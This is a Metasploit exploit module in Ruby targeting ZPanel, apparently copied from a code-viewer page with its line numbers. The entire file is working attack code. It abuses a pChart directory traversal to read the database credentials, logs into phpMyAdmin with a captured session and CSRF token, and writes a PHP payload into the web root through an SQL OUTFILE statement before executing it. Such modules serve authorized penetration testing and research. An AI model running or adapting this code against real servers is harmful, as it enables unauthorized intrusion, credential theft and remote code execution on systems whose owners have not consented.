1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/php_exe' require 'nokogiri' require 'uri' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Zpanel Remote Unauthenticated RCE', 'Description'=> %q{ This module exploits an information disclosure vulnerability in Zpanel. The vulnerability is due to a vulnerable version of pChart used by ZPanel that allows unauthenticated users to read arbitrary files remotely on the file system. This particular module utilizes this vulnerability to identify the username/password combination of the MySQL instance. With the credentials the attackers can login to PHPMyAdmin and execute SQL commands to drop a malicious payload on the filesystem and call it leading to remote code execution. }, 'Author' => [ 'Balazs Makany',# pChart vuln discovery 'Jose Antonio Perez', # Found vulnerable version of pChart on ZPanel 'dawn isabel', 'brad wolfe', 'brent morris', 'james fitts' ], 'License'=> MSF_LICENSE, 'References' => [ [ 'EDB', '31173' ],# vulnerable version of pChart used by zpanel [ 'OSVDB', '102595' ], # vulnerable version of pChart used by zpanel [ 'URL', 'http://blog.0xlabs.com/2014/03/zpanel-10.1.x-remote-root.html' ], [ 'URL', 'http://pastebin.com/y5Pf4Yms' ] ], 'Payload' => { 'BadChars' => "\x00", }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 30 2014')) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel']) ], self.class) end def get_setting(res, setting_name) n = ::Nokogiri::HTML(res.body) spans = n.search('//code//span//span') found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first val = found_element.next.next.text val.scan(/['"]([[:print:]]+)['"]/).flatten.first || '' end def get_user(res) get_setting(res, 'user') end def get_passwd(res) get_setting(res, 'pass') end def get_dbname(res) get_setting(res, 'dbname') end def dot_dot_slash(uri) res = send_request_cgi({ 'method' =>'GET', 'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'), 'vars_get' => { 'Action' => 'View', 'Script' => '../../../../cnf/db.php' } }) uname= get_user(res) passwd = get_passwd(res) dbname = get_dbname(res) return uname, passwd, dbname end def get_token_from_form(res) hidden_inputs = res.get_hidden_inputs hidden_inputs.first['token'] end def get_token_from_url(url) u = URI(url) u.query.split('&').each do |param| param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten return param_value if param_name == 'token' end '' end def grab_sess_and_token(uri) print_status('Attempting to get PHPSESSIONID') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri("#{uri}"), }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID') end cookies = res.get_cookies sid = cookies.scan(/(PHPSESSID=\w+);*/).flatten[0] || '' if sid.length > 0 print_good('PHPSESSID identified!') print_good("PHPSESSID = #{sid.split("=")[1]}") print_status('Attempting to get CSRF token') res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'), 'Cookie' => "#{sid}" }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token') end token = get_token_from_form(res) cookies = res.get_cookies cookies = cookies.split('; ') cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}" if token.length > 0 print_good('CSRF token identified!') print_good("CSRF token = #{token}") return cookies, token, sid else print_error('CSRF token could not be identified...') end else print_error('PHPSESSID could not be identified...') end end def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) old_cookies = cookies res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), 'cookie' => cookies, 'ctype'=> 'application/x-www-form-urlencoded', 'headers'=> { 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", }, 'vars_post' => { 'pma_username' => uname, 'pma_password' => passwd, 'server' => '1', 'lang' => 'en', 'collation_connection' => 'utf8_general_ci', 'token'=> token } }) cookies = "#{res.get_cookies}" old_cookies = old_cookies.split("; ") cookies = cookies.split("; ") new_cookies ="#{old_cookies[0]}; " new_cookies << "#{old_cookies[1]}; " new_cookies << "#{old_cookies[2]}; " new_cookies << "#{old_cookies[3]}; " new_cookies << "#{cookies[0]}; " new_cookies << "#{cookies[1]} " new_cookies << "#{sess_id}" token = get_token_from_url(res['Location']) res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'), 'Referer'=> "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", 'cookie' => new_cookies, 'vars_get' => { 'token' => token } }) unless res fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin') end if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/ print_good('PHPMyAdmin login successful!') return new_cookies, token end end def do_sql(cookies, token, uri) fname = "#{rand_text_alpha_upper(5)}.php" sql_stmt = "SELECT \"<?php #{payload.encoded} ?>\" INTO OUTFILE \"/etc/zpanel/panel/#{fname}\"" res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'), 'cookie' => cookies, 'ctype'=>'application/x-www-form-urlencoded; charset=UTF-8', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}" }, 'vars_post' => { 'is_js_confirmed' => '0', 'token' => token, 'pos' => '0', 'goto'=> 'server_sql.php', 'message_to_show' => 'Your+SQL+query+has+been+executed+successfully', 'prev_sql_query'=> '', 'sql_query' => sql_stmt, 'sql_delimiter' => ';', 'show_query'=> '1', 'ajax_request'=> 'true', '_nocache'=> rand.to_s[2..19].to_i } }) unless res fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload') end if res.body =~ /"success":true/ print_good("'#{fname}' successfully uploaded") print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") print_status("Executing '#{fname}' on the remote host") res = send_request_cgi({ 'method'=>'GET', 'uri'=>normalize_uri("#{uri}", "#{fname}") }) else print_error("#{res.body.to_s}") end end def exploit # Checking pChart res = send_request_cgi({ 'method'=> 'GET', 'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php') }) # if pChart is vuln version if res.body =~ /pChart 2\.x/ uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}") if uname.length > 0 && passwd.length > 0 print_good('Directory traversal successful, Username/Password identified!') print_good("Username: #{uname}") print_good("Password: #{passwd}") print_good("DB Name: #{db_name}") cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}") print_status('Logging into PHPMyAdmin now') cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id) print_status('Uploading malicious payload now') do_sql(cookies, token, "#{datastore['URI']}") else print_error('It appears that the directory traversal was unsuccessful...') end else print_error("It appears that the version of pChart is not vulnerable...") end end end |